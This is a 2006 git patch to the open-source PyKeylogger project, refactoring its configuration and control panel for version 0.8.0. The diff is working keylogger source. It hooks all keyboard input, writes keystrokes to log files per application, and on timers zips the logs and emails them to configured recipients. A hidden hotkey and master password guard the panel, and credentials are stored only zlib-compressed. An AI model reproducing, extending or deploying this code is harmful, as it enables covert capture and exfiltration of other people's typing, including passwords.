From 7664a7aa00b9f0eaf30e3aff453928696b845ea2 Mon Sep 17 00:00:00 2001 From: nanotube Date: Fri, 4 Aug 2006 05:56:11 +0000 Subject: [PATCH] a number of fixes and features for 0.8.0 -use configobj -separate zip timer -welcome screen -correct setup.py so that it adds all datafiles to exe dist, and add manifest for setup sdist --- CHANGELOG.TXT | 12 ++ controlpanel.py | 151 ++++++++++++++------- keylogger.pyw | 70 +++++++--- logwriter.py | 225 ++++++++++++++++++------------- mytkSimpleDialog.py | 319 ++++++++++++++++++++++++++++++++++++++++++++ pykeylogger.ini | Bin 9228 -> 7412 bytes pykeylogger.val | 165 +++++++++++++++++++++++ setup.py | 8 ++ supportscreen.py | 64 +++++++++ version.py | 7 +- 10 files changed, 859 insertions(+), 162 deletions(-) create mode 100644 mytkSimpleDialog.py create mode 100644 pykeylogger.val create mode 100644 supportscreen.py diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT index 60314ac..7a979f8 100644 --- a/CHANGELOG.TXT +++ b/CHANGELOG.TXT @@ -1,6 +1,18 @@ PyKeylogger Changelog --------------------- +----- +Version 0.8.0 (2006-08-04) + +*) Fixed setup.py so that it automatically adds data files to the distribution when making the executable. +*) Added graphical control panel that allows changing all configuration items, as well as taking various actions manually. +*) Using the more powerful ConfigObj module to read configuration file, instead of ConfigParser. This allows preservation of the .ini file order and comments when changing things through the GUI, as well as validation of option values. +*) Added the highly informative "welcome screen" +*) The passwords are now not stored in cleartext in the .ini file, to provide some security against casual snooping. +*) Add capability to zip logfiles to zip and delete the .txts, to save disk space, separately from the send email option. +*) Removed the "flush key" feature since it is now twice obsoleted - there is the automatic flush, and there is the capability to flush through the control panel. +*) Protected access to the conntrol panel with a "master password". Default password is left blank; you can change it in the control panel. + ----- Version 0.7.0 (2006-07-19) diff --git a/controlpanel.py b/controlpanel.py index 7f3e735..c9b862a 100644 --- a/controlpanel.py +++ b/controlpanel.py @@ -1,27 +1,46 @@ from Tkinter import * -import tkSimpleDialog, tkMessageBox -import ConfigParser +import mytkSimpleDialog # mytkSimpleDialog adds relative widnow placement configuration to tkSimpleDialog +import tkMessageBox +#import ConfigParser +from configobj import ConfigObj +from validate import Validator from tooltip import ToolTip +import zlib class PyKeyloggerControlPanel: - def __init__(self, settings, mainapp): + def __init__(self, cmdoptions, mainapp): + self.cmdoptions=cmdoptions self.mainapp=mainapp - self.settings=settings + self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False) + self.root = Tk() - #self.root.config(height=20, width=20) + self.root.config(height=20, width=20) + self.root.geometry("+200+200") + self.root.protocol("WM_DELETE_WINDOW", self.ClosePanel) #self.root.iconify() - self.PasswordDialog() - self.root.title("PyKeylogger Control Panel") + #if self.panelsettings['General']['Master Password'] != "x\x9c\x03\x00\x00\x00\x00\x01": + # self.PasswordDialog() + #print len(self.panelsettings['General']['Master Password']) + #print zlib.decompress(self.panelsettings['General']['Master Password']) + passcheck = self.PasswordDialog() + # call the password authentication widget # if password match, then create the main panel - self.InitializeMainPanel() - self.root.mainloop() + if passcheck == 0: + self.InitializeMainPanel() + self.root.mainloop() + elif passcheck == 1: + self.ClosePanel() def InitializeMainPanel(self): #create the main panel window #root = Tk() #root.title("PyKeylogger Control Panel") # create a menu + + self.root.title("PyKeylogger Control Panel") + self.root.config(height=200, width=200) + menu = Menu(self.root) self.root.config(menu=menu) @@ -30,73 +49,97 @@ class PyKeyloggerControlPanel: actionmenu.add_command(label="Flush write buffers", command=Command(self.mainapp.lw.FlushLogWriteBuffers, "Flushing write buffers at command from control panel.")) actionmenu.add_command(label="Zip Logs", command=Command(self.mainapp.lw.ZipLogFiles)) actionmenu.add_command(label="Send logs by email", command=Command(self.mainapp.lw.SendZipByEmail)) - actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet - actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet - actionmenu.add_command(label="Delete logs older than " + self.settings['maxlogage'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs)) + #actionmenu.add_command(label="Upload logs by FTP", command=self.callback) #do not have this method yet + #actionmenu.add_command(label="Upload logs by SFTP", command=self.callback) # do not have this method yet + actionmenu.add_command(label="Delete logs older than " + self.panelsettings['Log Maintenance']['Max Log Age'] + " days", command=Command(self.mainapp.lw.DeleteOldLogs)) actionmenu.add_separator() - actionmenu.add_command(label="Close Control Panel", command=self.root.destroy) + actionmenu.add_command(label="Close Control Panel", command=self.ClosePanel) actionmenu.add_command(label="Quit PyKeylogger", command=self.mainapp.stop) optionsmenu = Menu(menu) menu.add_cascade(label="Configuration", menu=optionsmenu) - optionsmenu.add_command(label="General Settings", command=Command(self.CreateConfigPanel, "general")) - optionsmenu.add_command(label="Email Settings", command=Command(self.CreateConfigPanel, "email")) - optionsmenu.add_command(label="FTP Settings", command=Command(self.CreateConfigPanel, "ftp")) - optionsmenu.add_command(label="SFTP Settings", command=Command(self.CreateConfigPanel, "sftp")) - optionsmenu.add_command(label="Log Maintenance Settings", command=Command(self.CreateConfigPanel, "logmaintenance")) - optionsmenu.add_command(label="Timestamp Settings", command=Command(self.CreateConfigPanel, "timestamp")) + for section in self.panelsettings.sections: + optionsmenu.add_command(label=section + " Settings", command=Command(self.CreateConfigPanel, section)) - #self.root.mainloop() - def PasswordDialog(self): #passroot=Tk() #passroot.title("Enter Password") - mypassword = tkSimpleDialog.askstring("Enter Password", "enter it:", show="*") - + mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:", show="*", rootx_offset=-20, rooty_offset=-35) + if mypassword != zlib.decompress(self.panelsettings['General']['Master Password']): + if mypassword != None: + tkMessageBox.showerror("Incorrect Password", "Incorrect Password") + return 1 + else: + return 0 + + def ClosePanel(self): + self.mainapp.panel = False + self.root.destroy() + def callback(self): tkMessageBox.showwarning(title="Not Implemented", message="This feature has not yet been implemented") - def CreateConfigPanel(self, section="general"): - self.panelconfig = ConfigParser.SafeConfigParser() - self.panelconfig.readfp(open(self.settings['configfile'])) - self.panelsettings = dict(self.panelconfig.items(section)) - self.configpanel = ConfigPanel(self.root, title=section + " settings", settings=self.panelsettings) - # now we dump all this in a frame in root window in a grid + def CreateConfigPanel(self, section): + + # reload the settings so that we are reading from the file, + # rather than from the potentially modified but not yet written out configobj + del(self.panelsettings) + self.panelsettings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False) + + self.configpanel = ConfigPanel(self.root, title=section + " Settings", settings=self.panelsettings, section=section) + -class ConfigPanel(tkSimpleDialog.Dialog): +class ConfigPanel(mytkSimpleDialog.Dialog): - def __init__(self, parent, title=None, settings={}): + def __init__(self, parent, settings, section, title=None): self.settings=settings - tkSimpleDialog.Dialog.__init__(self, parent, title) + self.section=section + mytkSimpleDialog.Dialog.__init__(self, parent, title) def body(self, master): index=0 self.entrydict=dict() self.tooltipdict=dict() - for key in self.settings.keys(): - if key.find("tooltip") == -1: + for key in self.settings[self.section].keys(): + if key.find("Tooltip") == -1: Label(master, text=key).grid(row=index, sticky=W) self.entrydict[key]=Entry(master) - self.entrydict[key].insert(END, self.settings[key]) + if key.find("Password") == -1: + self.entrydict[key].insert(END, self.settings[self.section][key]) + else: + self.entrydict[key].insert(END, zlib.decompress(self.settings[self.section][key])) self.entrydict[key].grid(row=index, column=1) - self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[key + "tooltip"]) + self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[self.section][key + " Tooltip"]) index += 1 - + + def validate(self): + + for key in self.entrydict.keys(): + if key.find("Password") == -1: + self.settings[self.section][key] = self.entrydict[key].get() + else: + self.settings[self.section][key] = zlib.compress(self.entrydict[key].get()) + errortext="Some of your input contains errors. Detailed error output below.\n\n" + + val = Validator() + valresult=self.settings.validate(val, preserve_errors=True) + if valresult != True: + if valresult.has_key(self.section): + sectionval = valresult[self.section] + for key in sectionval.keys(): + if sectionval[key] != True: + errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n" + tkMessageBox.showerror("Erroneous input. Please try again.", errortext) + return 0 + else: + return 1 def apply(self): - pass - #~ def __init__(self): - #~ # create app window with sensitive data settings - #~ # general password - #~ # smtpusername - #~ # smtppassword - #~ # ftpusername - #~ # ftppassword - #~ # sftpusername - #~ # sftppassword - #~ pass + # this is where we write out the config file to disk + self.settings.write() + tkMessageBox.showinfo("Restart PyKeylogger", "You must restart PyKeylogger for the new settings to take effect.") class Command: ''' A class we can use to avoid using the tricky "Lambda" expression. @@ -116,7 +159,7 @@ class Command: if __name__ == '__main__': # some simple testing code - settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"pykeylogger.ini"} + settings={"bla":"mu", 'maxlogage': "2.0", "configfile":"practicepykeylogger.ini"} class BlankKeylogger: def stop(self): pass @@ -132,6 +175,12 @@ if __name__ == '__main__': pass def DeleteOldLogs(self): pass - + + class BlankOptions: + def __init__(self): + self.configfile="pykeylogger.ini" + self.configval="pykeylogger.val" + klobject=BlankKeylogger() - myapp = PyKeyloggerControlPanel(settings, klobject) \ No newline at end of file + cmdoptions=BlankOptions() + myapp = PyKeyloggerControlPanel(cmdoptions, klobject) \ No newline at end of file diff --git a/keylogger.pyw b/keylogger.pyw index 8039456..f43a879 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -7,8 +7,11 @@ from optparse import OptionParser import traceback from logwriter import LogWriter import version -import ConfigParser +#import ConfigParser +from configobj import ConfigObj +from validate import Validator from controlpanel import PyKeyloggerControlPanel +from supportscreen import SupportScreen import Tkinter, tkMessageBox class KeyLogger: @@ -21,12 +24,13 @@ class KeyLogger: self.hm = pyHook.HookManager() self.hm.KeyDown = self.OnKeyboardEvent - if self.settings['hookkeyboard'] == 'True': + if self.settings['General']['Hook Keyboard'] == True: self.hm.HookKeyboard() #if self.options.hookMouse == True: # self.hm.HookMouse() - self.lw = LogWriter(self.settings) + self.lw = LogWriter(self.settings, self.cmdoptions) + self.panel = False def start(self): pythoncom.PumpMessages() @@ -38,9 +42,13 @@ class KeyLogger: ''' self.lw.WriteToLogFile(event) - if event.Key == self.settings['controlkey']: - PyKeyloggerControlPanel(self.settings, self) - #self.stop() + if event.Key == self.settings['General']['Control Key']: + if not self.panel: + self.lw.PrintDebug("starting panel\n") + self.panel = True + PyKeyloggerControlPanel(self.cmdoptions, self) + #~ else: + #~ print "not starting any panels" return True @@ -56,35 +64,59 @@ class KeyLogger: parser = OptionParser(version=version.description + " version " + version.version + " (" + version.url + ").") parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]") parser.add_option("-c", "--configfile", action="store", dest="configfile", help="filename of the configuration ini file. [default: %default]") + parser.add_option("-v", "--configval", action="store", dest="configval", help="filename of the configuration validation file. [default: %default]") - parser.set_defaults(debug=False, configfile="pykeylogger.ini") + parser.set_defaults(debug=False, + configfile="pykeylogger.ini", + configval="pykeylogger.val") - (self.options, args) = parser.parse_args() + (self.cmdoptions, args) = parser.parse_args() def ParseConfigFile(self): '''Read config file options from .ini file. Filename as specified by "--configfile" option, default "pykeylogger.ini". + Validation file specified by "--configval" option, default "pykeylogger.val". + + Give detailed error box and exit if validation on the config file fails. ''' - self.config = ConfigParser.SafeConfigParser() - self.config.readfp(open(self.options.configfile)) + #~ self.config = ConfigParser.SafeConfigParser() + #~ self.config.readfp(open(self.options.configfile)) + + #~ self.settings = dict(self.config.items('general')) + #~ self.settings.update(dict(self.config.items('email'))) + #~ self.settings.update(dict(self.config.items('logmaintenance'))) + #~ self.settings.update(dict(self.config.items('timestamp'))) + #~ self.settings.update(dict(self.config.items('zip'))) + #~ self.settings.update(self.options.__dict__) # add commandline options to our settings dict + self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False) + + # validate the config file + errortext="Some of your input contains errors. Detailed error output below.\n\n" + val = Validator() + valresult = self.settings.validate(val, preserve_errors=True) + if valresult != True: + for section in valresult.keys(): + if valresult[section] != True: + sectionval = valresult[section] + for key in sectionval.keys(): + if sectionval[key] != True: + errortext += "Error in item \"" + str(key) + "\": " + str(sectionval[key]) + "\n" + tkMessageBox.showerror("Errors in config file. Exiting.", errortext) + sys.exit() - self.settings = dict(self.config.items('general')) - self.settings.update(dict(self.config.items('email'))) - self.settings.update(dict(self.config.items('logmaintenance'))) - self.settings.update(dict(self.config.items('timestamp'))) - self.settings.update(dict(self.config.items('zip'))) - self.settings.update(self.options.__dict__) # add commandline options to our settings dict - if __name__ == '__main__': def main_is_frozen(): return (hasattr(sys, "frozen") or # new py2exe hasattr(sys, "importers") or # old py2exe imp.is_frozen("__main__")) # tools/freeze - if not main_is_frozen(): #comment out this if statement to remove support request + if main_is_frozen(): #comment out this if statement block to remove support request root=Tkinter.Tk() - tkMessageBox.showinfo(title="Please support PyKeylogger", message="Please support PyKeylogger") + root.geometry("100x100+200+200") + warn=SupportScreen(root, title="Please Support PyKeylogger", rootx_offset=-20, rooty_offset=-35) root.destroy() + del(warn) + kl = KeyLogger() kl.start() diff --git a/logwriter.py b/logwriter.py index bcbb6da..ce6ce2c 100644 --- a/logwriter.py +++ b/logwriter.py @@ -22,13 +22,14 @@ from email import Encoders class LogWriter: '''Manages the writing of log files and logfile maintenance activities. ''' - def __init__(self, settings): + def __init__(self, settings, cmdoptions): self.settings = settings - self.settings['dirname'] = os.path.normpath(self.settings['dirname']) + self.cmdoptions = cmdoptions + #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory']) try: - os.makedirs(self.settings['dirname'], 0777) + os.makedirs(self.settings['General']['Log Directory'], 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass @@ -40,9 +41,9 @@ class LogWriter: self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames. self.writeTarget = "" - if self.settings['systemlog'] != 'None': + if self.settings['General']['System Log'] != 'None': try: - self.systemlog = open(os.path.join(self.settings['dirname'], self.settings['systemlog']), 'a') + self.systemlog = open(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']), 'a') except OSError, detail: if(detail.errno==17): #if file already exists, swallow the error pass @@ -58,34 +59,36 @@ class LogWriter: self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape self.asciiSubset.extend(range(32,255)) #all normal printable chars - if self.settings['parsebackspace'] == 'True': + if self.settings['General']['Parse Backspace'] == True: self.asciiSubset.remove(8) #remove backspace from allowed chars if needed - if self.settings['parseescape'] == 'True': + if self.settings['General']['Parse Escape'] == True: self.asciiSubset.remove(27) #remove escape from allowed chars if needed + # todo: no need for float() typecasting, since that is now taken care by config validation + # initialize the automatic zip and email timer, if enabled in .ini - if self.settings['smtpsendemail'] == 'True': - self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60*60, 0, self.SendZipByEmail) + if self.settings['E-mail']['SMTP Send Email'] == True: + self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail) self.emailtimer.start() # initialize automatic old log deletion timer - if self.settings['deleteoldlogs'] == 'True': - self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs) + if self.settings['Log Maintenance']['Delete Old Logs'] == True: + self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs) self.oldlogtimer.start() # initialize the automatic timestamp timer - if self.settings['timestampenable'] == 'True': - self.timestamptimer = mytimer.MyTimer(float(self.settings['timestampinterval'])*60, 0, self.WriteTimestamp) + if self.settings['Timestamp']['Timestamp Enable'] == True: + self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp) self.timestamptimer.start() # initialize the automatic log flushing timer - self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"]) + self.flushtimer = mytimer.MyTimer(float(self.settings['General']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"]) self.flushtimer.start() # initialize some automatic zip stuff - self.settings['ziparchivename'] = "log_[date].zip" - if self.settings['zipenable'] == 'True': - self.ziptimer = mytimer.MyTimer(float(self.settings['zipinterval'])*60*60, 0, self.ZipLogFiles) + #self.settings['Zip']['ziparchivename'] = "log_[date].zip" + if self.settings['Zip']['Zip Enable'] == True: + self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles) self.ziptimer.start() @@ -95,10 +98,10 @@ class LogWriter: loggable = self.TestForNoLog(event) # see if the program is in the no-log list. if not loggable: - if self.settings['debug']: self.PrintDebug("not loggable, we are outta here\n") + if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n") return - if self.settings['debug']: self.PrintDebug("loggable, lets log it\n") + if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it\n") loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems @@ -108,7 +111,7 @@ class LogWriter: if event.Ascii in self.asciiSubset: self.PrintStuff(chr(event.Ascii)) - if event.Ascii == 13 and self.settings['addlinefeed'] == 'True': + if event.Ascii == 13 and self.settings['General']['Add Line Feed'] == True: self.PrintStuff(chr(10)) #add line feed after CR,if option is set #we translate all the special keys, such as arrows, backspace, into text strings for logging @@ -117,11 +120,11 @@ class LogWriter: self.PrintStuff('[KeyName:' + event.Key + ']') #translate backspace into text string, if option is set. - if event.Ascii == 8 and self.settings['parsebackspace'] == 'True': + if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True: self.PrintStuff('[KeyName:' + event.Key + ']') #translate escape into text string, if option is set. - if event.Ascii == 27 and self.settings['parseescape'] == True: + if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True: self.PrintStuff('[KeyName:' + event.Key + ']') # this has now been disabled, since flushing is done both automatically at interval, @@ -134,8 +137,8 @@ class LogWriter: is listed in the noLog option, and True otherwise.''' self.processName = self.GetProcessNameFromHwnd(event.Window) - if self.settings['nolog'] != 'None': - for path in self.settings['nolog'].split(';'): + if self.settings['General']['Applications Not Logged'] != 'None': + for path in self.settings['General']['Applications Not Logged'].split(';'): if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path return False return True @@ -145,7 +148,7 @@ class LogWriter: ''' self.PrintDebug(logstring) if self.log != None: self.log.flush() - if self.settings['systemlog'] != 'None': self.systemlog.flush() + if self.settings['General']['System Log'] != 'None': self.systemlog.flush() def ZipLogFiles(self): '''Create a zip archive of all files in the log directory. @@ -154,10 +157,12 @@ class LogWriter: ''' self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n") + zipFilePattern = "log_[date].zip" zipFileTime = time.strftime("%Y%m%d_%H%M%S") - zipFileName = re.sub(r"\[date\]", zipFileTime, self.settings['ziparchivename']) + zipFileRawTime = time.time() + zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern) - os.chdir(self.settings['dirname']) + os.chdir(self.settings['General']['Log Directory']) myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED) for root, dirs, files in os.walk(os.curdir): @@ -175,9 +180,12 @@ class LogWriter: # write the name of the last completed zip file # so that we can check against this when emailing or ftping, to make sure # we do not try to transfer a zipfile which is in the process of being created - ziplog=open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'w') + ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w') ziplog.write(zipFileName) ziplog.close() + + #now we can delete all the logs that have not been modified since we made the zip. + self.DeleteOldLogs(zipFileRawTime) def CheckIfZipFile(self, filename): '''Helper function for ZipLogFiles to make sure we don't include @@ -207,83 +215,102 @@ class LogWriter: #~ write new lastemailed to emaillog.txt - self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n") + self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n") - if self.settings['zipenable'] == 'False': + if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False: self.ZipLogFiles() try: - ziplog = open(os.path.join(self.settings['dirname'], "ziplog.txt"), 'r') + ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r') latestZipFile = ziplog.readline() ziplog.close() + if not self.CheckIfZipFile(latestZipFile): + self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n") + return except: self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n") return - if not self.CheckIfZipFile(latestZipFile): - self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n") - return + #~ if not self.CheckIfZipFile(latestZipFile): + #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n") + #~ return try: - emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'r') + latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read + emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r') latestZipEmailed = emaillog.readline() emaillog.close() + if not self.CheckIfZipFile(latestZipEmailed): + self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n") + return except: self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n") - if not self.CheckIfZipFile(latestZipEmailed): - self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n") - return - - zipFileList = os.listdir(self.settings['dirname']) - for filename in zipFileList: - if not self.CheckIfZipFile(filename): - zipFileList.remove(filename) - # we can do the following string comparison due to the structured and dated format of the filenames - elif filename <= latestZipEmailed or filename > latestZipFile: - zipFileList.remove(filename) - + #~ if not self.CheckIfZipFile(latestZipEmailed): + #~ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n") + #~ return + + zipFileList = os.listdir(self.settings['General']['Log Directory']) + self.PrintDebug(str(zipFileList)) + if len(zipFileList) > 0: + # removing elements from a list while iterating over it produces undesirable results + # so we do the os.listdir again to iterate over + for filename in os.listdir(self.settings['General']['Log Directory']): + if not self.CheckIfZipFile(filename): + zipFileList.remove(filename) + self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n") + # we can do the following string comparison due to the structured and dated format of the filenames + elif filename <= latestZipEmailed or filename > latestZipFile: + zipFileList.remove(filename) + self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n") + + self.PrintDebug(str(zipFileList)) # set up the message msg = MIMEMultipart() - msg['From'] = self.settings['smtpfrom'] - msg['To'] = COMMASPACE.join(self.settings['smtpto'].split(";")) + msg['From'] = self.settings['E-mail']['SMTP From'] + msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";")) msg['Date'] = formatdate(localtime=True) - msg['Subject'] = self.settings['smtpsubject'] + msg['Subject'] = self.settings['E-mail']['SMTP Subject'] - msg.attach( MIMEText(self.settings['smtpmessagebody']) ) + msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) ) - for file in zipFileList: - part = MIMEBase('application', "octet-stream") - part.set_payload( open(os.path.join(self.settings['dirname'], file),"rb").read() ) - Encoders.encode_base64(part) - part.add_header('Content-Disposition', 'attachment; filename="%s"' - % os.path.basename(file)) - msg.attach(part) + if len(zipFileList) == 0: + msg.attach( MIMEText("No new logs present.") ) + + if len(zipFileList) > 0: + for file in zipFileList: + part = MIMEBase('application', "octet-stream") + part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() ) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="%s"' + % os.path.basename(file)) + msg.attach(part) # set up the server and send the message - mysmtp = smtplib.SMTP(self.settings['smtpserver']) + mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server']) - if self.settings['debug']: + if self.cmdoptions.debug: mysmtp.set_debuglevel(1) - if self.settings['smtpneedslogin'] == 'True': - mysmtp.login(self.settings['smtpusername'],self.settings['smtppassword']) - sendingresults=mysmtp.sendmail(self.settings['smtpfrom'], self.settings['smtpto'].split(";"), msg.as_string()) + if self.settings['E-mail']['SMTP Needs Login'] == True: + mysmtp.login(self.settings['E-mail']['SMTP Username'],zlib.decompress(self.settings['E-mail']['SMTP Password'])) + sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string()) self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n") mysmtp.quit() # write the latest emailed zip to log for the future - zipFileList.sort() - emaillog = open(os.path.join(self.settings['dirname'], "emaillog.txt"), 'w') - emaillog.write(zipFileList.pop()) - emaillog.close() + if len(zipFileList) > 0: + zipFileList.sort() + emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w') + emaillog.write(zipFileList.pop()) + emaillog.close() def ZipAndEmailTimerAction(self): '''This is a timer action function that zips the logs and sends them by email. deprecated - should delete this. ''' - self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n") + self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n") self.ZipLogFiles() self.SendZipByEmail() @@ -291,9 +318,9 @@ class LogWriter: '''Open the appropriate log file, depending on event properties and settings in .ini file. ''' # if the "onefile" option is set, we don't that much to do: - if self.settings['onefile'] != 'None': + if self.settings['General']['One File'] != 'None': if self.writeTarget == "": - self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile'])) + self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File'])) try: self.log = open(self.writeTarget, 'a') except OSError, detail: @@ -307,7 +334,7 @@ class LogWriter: return False #write the timestamp upon opening the logfile - if self.settings['timestampenable'] == 'True': self.WriteTimestamp() + if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp() self.PrintDebug("writing to: " + self.writeTarget + "\n") return True @@ -321,28 +348,28 @@ class LogWriter: #make sure our filename plus path is not longer than 255 characters, as per filesystem limit. #filename = filename[0:200] + ".txt" - if len(os.path.join(self.settings['dirname'], subDirName, filename)) > 255: - if len(os.path.join(self.settings['dirname'], subDirName)) > 250: + if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255: + if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250: self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.") return False else: - filename = filename[0:255-len(os.path.join(self.settings['dirname'], subDirName))-4] + ".txt" + filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt" #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same #already-opened file. - if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename): + if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename): if self.writeTarget != "": self.FlushLogWriteBuffers("flushing and closing old log\n") #~ self.PrintDebug("flushing and closing old log\n") #~ self.log.flush() self.log.close() - self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename) + self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename) self.PrintDebug("writeTarget:" + self.writeTarget + "\n") try: - os.makedirs(os.path.join(self.settings['dirname'], subDirName), 0777) + os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass @@ -366,36 +393,54 @@ class LogWriter: return False #write the timestamp upon opening a new logfile - if self.settings['timestampenable'] == 'True': self.WriteTimestamp() + if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp() return True def PrintStuff(self, stuff): '''Write stuff to log, or to debug outputs. ''' - if not self.settings['debug'] and self.log != None: + if not self.cmdoptions.debug and self.log != None: self.log.write(stuff) - if self.settings['debug']: + if self.cmdoptions.debug: self.PrintDebug(stuff) def PrintDebug(self, stuff): '''Write stuff to console and/or systemlog. ''' - if self.settings['debug']: + if self.cmdoptions.debug: sys.stdout.write(stuff) - if self.settings['systemlog'] != 'None': + if self.settings['General']['System Log'] != 'None': self.systemlog.write(stuff) def WriteTimestamp(self): self.PrintStuff("\n[" + time.asctime() + "]\n") - def DeleteOldLogs(self): - '''Walk the log directory tree and remove any logfiles older than maxlogage (as set in .ini). + def DeleteOldLogs(self, lastmodcutoff=None): + '''Walk the log directory tree and remove old logfiles. + + if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file. + + if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()], + instead delete files that were not modified after lastmodcutoff. ''' + + self.PrintDebug("Analyzing and removing old logfiles.\n") - for root, dirs, files in os.walk(self.settings['dirname']): + for root, dirs, files in os.walk(self.settings['General']['Log Directory']): for fname in files: - if time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['maxlogage'])*24*60*60: + if lastmodcutoff == None: + testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60 + elif type(lastmodcutoff) == float: + testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff + + if fname == "emaillog.txt" or fname == "ziplog.txt": + testvalue = False # we don't want to delete these + + if type(lastmodcutoff) == float and self.CheckIfZipFile(fname): + testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage + + if testvalue: try: os.remove(os.path.join(root,fname)) except: @@ -421,13 +466,13 @@ class LogWriter: ''' 